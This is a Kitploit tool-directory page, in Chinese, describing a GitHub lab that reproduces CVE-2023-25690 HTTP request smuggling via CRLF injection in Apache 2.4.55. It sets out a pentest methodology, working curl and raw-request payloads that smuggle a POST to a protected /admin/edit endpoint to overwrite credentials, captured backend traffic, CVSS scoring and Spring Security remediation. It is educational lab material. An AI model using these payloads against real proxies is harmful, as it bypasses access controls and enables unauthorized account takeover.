Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-25690_lab — HTTP请求走私实验室:Apache 2.4.55 CRLF注入 | Kitploit
工具/GitHubGitHub/giordy0424/cve-2023-25690_lab
漏洞分析Web应用程序漏洞利用CTF渗透测试学习与教育实验室与实践
GitHubgiordy0424/cve-2023-25690_lab

CVE-2023-25690_lab

HTTP请求走私实验室:Apache 2.4.55 CRLF注入

查看仓库
324天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

通过 Apache 代理进行 HTTP 请求走私

环境配置

基础设施

组件角色版本
Apache HTTP Server反向代理2.4.55(存在漏洞)
Spring Boot(内嵌 Tomcat)后端 API4.x(Java 21)
SQLite数据库—
root@kitploit:~
用户 ──► Apache :80(代理)──► Spring Boot :8080(后端)──► SQLite
            │
            ├─ mod_rewrite + mod_proxy
            ├─ CVE-2023-25690:CRLF 未经过滤
            ├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
            ├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
            └─ ACL:<Location "/admin"> 已阻止

后端公共端点

root@kitploit:~
POST /public/register:允许用户在数据库中注册
POST /public/login:通过验证输入的凭据允许登录,并发放会话令牌
GET /public/dashboard:用户专属区域
GET /api/status:接受参数“name”,是用于验证服务状态的示例端点
GET /public/logout

后端私有端点

root@kitploit:~
POST /admin/edit/{id}/{newName}/{newPass}:这是一个理论上公众无法访问的路由,允许管理员修改用户数据

渗透测试参考方法论

  1. 规划 — 定义范围
  2. 发现 — 信息收集、足迹分析、扫描与枚举、漏洞分析
  3. 攻击 — 漏洞利用、权限提升
  4. 报告 — 执行摘要、技术报告

执行摘要

在渗透测试活动中,识别出暴露 Spring Boot 后端的反向代理基础设施中存在严重漏洞。Apache HTTP Server 2.4.55 版本受 CVE-2023-25690(HTTP 请求走私)漏洞影响,该漏洞允许攻击者绕过代理上实施的安全过滤器,直接访问未受保护的内部管理端点。

该攻击利用了 Apache RewriteRule 中缺乏对控制字符(CRLF)的过滤,允许在发往后端的合法请求参数中注入第二个 HTTP 请求。概念验证已证明可通过 /admin/edit/{id}/{newName}/{newPass} 端点未经授权修改数据库中的用户凭据,而该端点理论上受代理 ACL 保护。

建议:立即将 Apache HTTP Server 升级至 ≥ 2.4.56 版本,加强代理上的安全过滤器,并为所有敏感端点实施后端安全层(Spring Security)。


1 规划

1.1 模式

  • 攻击向量:互联网
  • 攻击目标环境:生产环境

1.2 灰盒 - 已知信息:

  • 前端主机名
  • 后端主机名(或公司局域网内的 IP 地址)及端口
  • 私有端点

1.3 测试目标

  • 绕过 Apache 的 ACL 以访问私有端点
  • 证明未经授权修改数据库中用户数据的能力
  • 评估 CVE-2023-25690 在真实场景中的实际影响

2 漏洞评估 — 发现阶段

2.1 信息收集与足迹分析

2.1.1 横幅抓取

通过分析 HTTP 响应头识别 Apache 版本。

root@kitploit:~
$ curl -I http://localhost/service/

HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42

结果:服务器头信息显示 Apache/2.4.55。查询 CVE 数据库 → 与 CVE-2023-25690 匹配。

根据该 CVE,在此版本的 Apache 中,如果存在一条 RewriteRule 将来自代理请求的通用字符复制到后端目标 URL 中,则转录的文本不会被过滤,因此控制字符(如回车换行)也会通过。

例如: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // P 代表代理模式

因此,现在的目标是发现是否存在某个端点在代理层面执行这种转录。

2.1.2 识别后端技术

从响应分析和应用行为中可以观察到,会话通过 JSESSIONID 管理,这确认了 Java Servlet 容器(如 Apache Tomcat、Jetty 或 WildFly)的使用。此外,对不存在端点的请求返回“Whitelabel Error Page”,表明后端运行的是 Spring Boot。

2.2 扫描与枚举

2.2.1 端点发现(模糊测试)

通过用于自动化字典模糊测试的 bash 脚本,已映射出网络中暴露的端点(推测为全部端点)。

结果:

2.2.2 代理配置映射(推断)

由于

  • /service/x
  • /api/status?name=x

两者返回相同响应,可知它们指向同一后端端点。此外,由于类似 /service/x/y/z 的请求(很可能不存在)不会返回 404,可以推断原始端点接受的是参数而非路径变量。因此可以得出结论:对 /service/<service> 的请求通过 RewriteRule 转发到 Spring Boot 后端(正是我们要找的)。现在需要确定这条 RewriteRule 是否是宽松的,即使用类似 .* 的正则表达式,还是结构严谨的。

我尝试在请求中插入控制字符,以将合法内容与隐藏内容分离:

root@kitploit:~
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'

>> ... HTTP/1.1 200 ... 服务 'x' 运行正常且稳定。

我插入了一个自定义参数来验证 CRLF 是否被正确解析。

trash_header 的作用是封装 Apache 将添加到后端请求中的头部(这样它们将被解析为 X-Header 的普通文本,对 HTTP 请求而言不具有实际意义)。


攻击者范围之外

通过后端容器中的 tcpdump,我得以拦截来自 Apache 的 HTTP 请求:

root@kitploit:~
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080

后端看到如下请求:

root@kitploit:~
GET /api/status?name=x HTTP/1.1
Host: spring-backend

prova: ok
trash_header:  HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive

“控制字符已被控制”

响应表明,包含控制字符的部分已作为 HTTP 请求本身的结构顺利通过,而不仅仅是作为参数(因为后端捕获的名称仅为 'x')。因此,我们已设定了发往后端的 HTTP 请求格式,且代理已接受,这为真正的走私攻击载荷开辟了道路。

2.3 攻击面映射


3 攻击

3.1 攻击目标

强制 Apache 反向代理向后端 Spring Boot 转发两个独立请求,使第二个请求到达 /admin/edit/ 端点,同时绕过 Apache 的 ACL 过滤器。

在此阶段,假设 localhost 和 spring-backend 分别是代理和服务器的公共地址。如果代理和后端位于同一网络(或组织)中,spring-backend 将是一个私有 IP(遗憾的是,这很难获知)。

3.2 走私机制

漏洞存在于 RewriteRule 中:

root@kitploit:~
RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]

代理将用户输入捕获到 $1 中,并将其插入查询字符串,未过滤控制字符(%20、%0d%0a)。后端(Tomcat)将这些字符解释为 URL 的终止和同一 TCP 套接字上新 HTTP 请求的开始。

3.3 攻击载荷构成

root@kitploit:~
A) GET /service/x                  → 合法部分;/service/ 之后的所有内容
                                      进入 $1(name 参数)

B) %20HTTP/1.1                     → [分割点] 空格提前终止
                                      后端中的 URL

C) %0d%0aHost:...%0d%0a%0d%0a     → [头部注入] CRLF 用于终止
                                      第一个请求

D) POST /admin/edit/1/HACKED/PWNED → [走私请求] 隐藏的
                                      恶意请求指向 admin 端点

E) %20HTTP/1.1                     → 第二个请求的 HTTP 版本

F) %0d%0aContent-Length:%200       → POST 的空请求体
   %0d%0aConnection:%20close
   %0d%0aX-Header:%20              → [头部吸收器] 吸收 Apache
                                      自动添加的头部

3.4 完整 HTTP 请求

root@kitploit:~
GET /service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aPOST%20/admin/edit/1/HACKED/PWNED%20HTTP/1.1%0d%0aContent-Length:%200%0d%0aConnection:%20close%0d%0aX-Header:%20 HTTP/1.1
Host: localhost

3.5 流量解码

Apache 看到的(单个请求):

root@kitploit:~
GET /service/x%20HTTP/1.1%0d%0a... HTTP/1.1
Host: localhost

后端接收到的(同一套接字上的两个请求):

root@kitploit:~
--- 请求 1(合法,但被“截断”)---
GET /api/status?name=x HTTP/1.1
Host: spring-backend

--- 请求 2(走私)---
POST /admin/edit/1/HACKED/PWNED HTTP/1.1
Content-Length: 0
Connection: close
X-Header:

3.6 结果

root@kitploit:~
>> ... HTTP/1.1 200 ... 服务 'x' 运行正常且稳定。

ID 为 1 的用户已被重命名为 HACKED,密码为 PWNED — 完全绕过代理的 ACL。


攻击者范围之外

直接访问数据库进行确认:

root@kitploit:~
$ docker exec apache_vuln-spring-backend-1 sqlite3 /app/users.db "SELECT * FROM user;"

1|HACKED|PWNED

4 漏洞评估

4.1 识别

ID描述
CVE-2023-25690Apache HTTP Server 通过 mod_proxy 与 RewriteRule/ProxyPassMatch 实现 HTTP 请求走私
CWE-444HTTP 请求的不一致解析('HTTP 请求/响应走私')
CWE-113HTTP 头中 CRLF 序列的不当中和('HTTP 响应拆分')

4.2 CVSS 3.1 评分

https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator

基础指标

基础评分:10.0(严重)— AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

时间指标

指标值描述
利用代码成熟度(E)

时间评分:9.3(高)

环境指标

环境评分:8.0(高)

向量字符串:AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H

综合评分:8.0 — 高


5. 修复措施

5.1 软件升级(推荐)

将 Apache HTTP Server 升级至 ≥ 2.4.56 版本,该版本在服务器核心层面强制对带有 [P] 标志的 RewriteRule 中的控制字符进行过滤。

当前版本目标版本修复
2.4.552.4.56+mod_proxy 中自动过滤 CRLF

5.2 后端加固(Spring Boot)

实施 Spring Security

在 pom.xml 中添加 spring-boot-starter-security:

root@kitploit:~
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency>

配置保护管理端点的 SecurityFilterChain:

root@kitploit:~
@Configuration
@EnableWebSecurity
public class SecurityConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/public/**").permitAll()
                .requestMatchers("/api/**").permitAll()
                .requestMatchers("/admin/**").hasRole("ADMIN")
                .anyRequest().authenticated()
            )
            .httpBasic(Customizer.withDefaults())
            .sessionManagement(session -> session
                .sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED));
        return http.build();
    }
}

输入验证

对所有端点接受的参数(查询字符串、路径变量、表单数据)添加检查:

root@kitploit:~
@PostMapping("/admin/edit/{id}/{newName}/{newPass}")
public String adminEdit(
        @PathVariable Long id,
        @PathVariable @NotBlank String newName,
        @PathVariable @NotBlank String newPass,
        HttpSession session) {

    // 验证用户是否具有 ADMIN 角色
    User loggedUser = (User) session.getAttribute("LOGGED_USER");
    if (loggedUser == null || !loggedUser.hasAdminRole()) {
        return "访问被拒绝";
    }
    // ... 仅在认证检查后允许操作
}
下载工具
端点HTTP 状态码方法参数
admin403GET(无参数)
public/register200POSTuser=test&pass=test
public/login200POSTuser=test&pass=test
public/dashboard200GET(无参数)
public/logout200GET(无参数)
api/status200GET(无参数)
service/*200GET(无参数)
端点方法访问权限备注
/public/registerPOST公共用户注册
/public/loginPOST公共登录,发放 JSESSIONID
/public/dashboardGET已认证专属区域
/public/logoutGET公共销毁会话
/api/status?name=GET公共健康检查
/service/{param}GET公共易受攻击的网关($1 在查询字符串中)
/admin/edit/{id}/{n}/{p}POST受保护(ACL)修改用户凭据
/admin/*已阻止(403)Apache ACL
指标值描述
攻击向量(AV)N(网络)可从远程网络访问
攻击复杂度(AC)L(低)无特殊条件
所需权限(PR)N(无)无需认证
用户交互(UI)N(无)不需要受害者交互
影响范围(S)C(已变更)受影响组件与受损组件不同
机密性(C)H(高)可访问受保护的端点
完整性(I)H(高)可修改数据库中的用户数据
可用性(A)H(高)可能导致代理缓存投毒 / 套接字污染
F(存在功能性利用代码)
可利用的漏洞
修复级别(RL)O(官方修复)在后续 Apache 版本中已修复该缺陷
报告可信度(RC)C(已确认)漏洞已确认并记录在案
指标值描述
攻击向量(MAV)N(网络)代理暴露于互联网
攻击复杂度(MAC)H(高)需要了解内部端点结构
所需权限(MPR)L(低)无需任何类型的权限
用户交互(MUI)N(无)无需外部用户交互
影响范围(MS)C(已变更)通过一个系统入侵另一个系统
影响指标(MC/MI/MA)H/H/H最大损害(修改数据库中的数据)
CIA 要求(CR/IR/AR)H/H/H关键系统(用户登录)